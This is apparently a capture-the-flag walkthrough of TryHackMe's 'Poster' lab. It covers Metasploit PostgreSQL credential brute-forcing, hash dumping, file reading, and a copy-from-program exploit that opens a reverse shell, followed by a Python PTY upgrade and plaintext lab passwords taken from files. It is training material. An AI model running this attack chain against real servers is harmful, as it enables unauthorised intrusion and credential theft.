In this walkthrough, I solved the Poster room from TryHackMe. The room focuses on PostgreSQL exploitation, credential discovery, and privilege escalation caused by insecure configurations inside the database and web application.
I started with service enumeration, gained authenticated PostgreSQL access, moved laterally between users, and finally escalated privileges to root by abusing exposed credentials and misconfigured sudo permissions.
I started with a basic Nmap scan to identify the exposed services running on the target machine.
~$ nmap -sV 10.49.190.166PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
5432/tcp open postgresql PostgreSQL DB 9.5.8 - 9.5.10 or 9.5.17 - 9.5.23The scan revealed three open ports:
22805432At this stage, the PostgreSQL service immediately stood out since the room description hinted toward an RDBMS setup.
To interact with the PostgreSQL service, I moved into Metasploit and started looking for available PostgreSQL auxiliary modules.
msfconsole -qAfter launching Metasploit, I searched for PostgreSQL-related auxiliary modules.
search auxiliary postgresqlThe results displayed several PostgreSQL modules available inside Metasploit.
One module that immediately caught my attention was:
auxiliary/scanner/postgres/postgres_loginThis module is used to brute force PostgreSQL credentials using common usernames and passwords.
I selected the module using:
use 4Press enter or click to view image in full size
Before running it, I checked the required configuration.
show configThe only mandatory value that needed to be configured was the target IP address.
set RHOSTS <IP>Press enter or click to view image in full size
With the configuration completed, I executed the module.
runPress enter or click to view image in full size
The scan successfully discovered valid PostgreSQL credentials:
postgres:passwordNow that I had working credentials, the next step was to find a module that would allow authenticated interaction with the PostgreSQL server.
I returned back and searched for PostgreSQL auxiliary modules again.
back
search auxiliary postgresqlPress enter or click to view image in full size
This time, I selected:
auxiliary/admin/postgres/postgres_sqlThe module allows execution of SQL queries against the PostgreSQL server using valid credentials.
I configured the module with the discovered password and target IP.
use 6
show options
set RHOSTS <IP>
set PASSWORD passwordPress enter or click to view image in full size
After setting the required options, I ran the module.
runThe authentication succeeded, confirming valid access to the PostgreSQL database server.
PostgreSQL 9.5.21 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609, 64-bitPress enter or click to view image in full size
After confirming authenticated access to PostgreSQL, my next objective was to dump the database user hashes.
I returned back to the Metasploit console and searched for a module related to PostgreSQL hash dumping.
back
search auxiliary scanner postgre hashdumpPress enter or click to view image in full size
The search returned the PostgreSQL hashdump module, which can extract password hashes from the database.
I selected the module and configured it with the previously discovered credentials.
use 0
show options
set RHOST 10.49.190.166
set PASSWORD passwordPress enter or click to view image in full size
Once everything was configured, I executed the module.
runPress enter or click to view image in full size
The module successfully dumped the PostgreSQL user hashes from the server.
With authenticated database access confirmed, I moved on to another PostgreSQL auxiliary module that allows reading files directly from the target system.
Join Medium for free to get updates from this writer.
I went back again and searched for PostgreSQL auxiliary modules.
back
search auxiliary postgresqlFrom the available modules, I selected:
auxiliary/admin/postgres/postgres_readfileAlternatively, it could also be selected directly using:
use 5Press enter or click to view image in full size
Before running the module, I checked the available options.
show optionsPress enter or click to view image in full size
After configuring the required parameters, I executed the module.
runPress enter or click to view image in full size
The module successfully read files from the target machine using the authenticated PostgreSQL session.
Press enter or click to view image in full size
After confirming authenticated PostgreSQL access, the next step was to gain command execution on the target machine.
I returned back to Metasploit and searched for PostgreSQL exploit modules related to command execution.
back
search exploit postgres cmdFrom the available results, I selected:
exploit/multi/postgres/postgres_copy_from_program_cmd_execThis module allows arbitrary command execution using valid PostgreSQL credentials.
I loaded the module using:
use 0Press enter or click to view image in full size
Next, I configured the required options.
show options
set RHOST <IP>
set PASSWORD password
set LHOST tun0Press enter or click to view image in full size
Once everything was configured, I executed the exploit.
runPress enter or click to view image in full size
The exploit successfully returned a shell on the target machine.
To make the shell more stable and interactive, I upgraded it using Python PTY.
python3 -c 'import pty;pty.spawn("/bin/bash")'Press enter or click to view image in full size
After getting shell access, I started enumerating the system manually.
Inside the /home directory, I found two user folders. One of them belonged to alison, which contained the user flag, but the current user did not have permission to access it.
While checking the second user directory, I discovered a credentials file inside dark's home directory.
cd /home
cat /home/dark/credentials.txtThe file contained valid credentials for the dark user.
dark:qwerty1234#!hackmePress enter or click to view image in full size
I used the discovered password to log in through SSH for a cleaner and more stable session.
ssh [email protected]
[email protected]'s password: qwerty1234#!hackme
$ Even after switching to the dark user, I still did not have permission to access Alison’s user flag.
cat /home/alison/user.txt
cat: /home/alison/user.txt: Permission deniedAt this point, I started checking the web application files for any exposed credentials or sensitive configuration files.
Inside the web root directory, I found a config.php file.
cd /var/www/html/
lsconfig.php posterI opened the configuration file to inspect its contents.
cat config.php<?php $dbhost = "127.0.0.1";
$dbuname = "alison";
$dbpass = "p4ssw0rdS3cur3!#";
$dbname = "mysudopassword";
?>
The file exposed valid credentials for the alison user.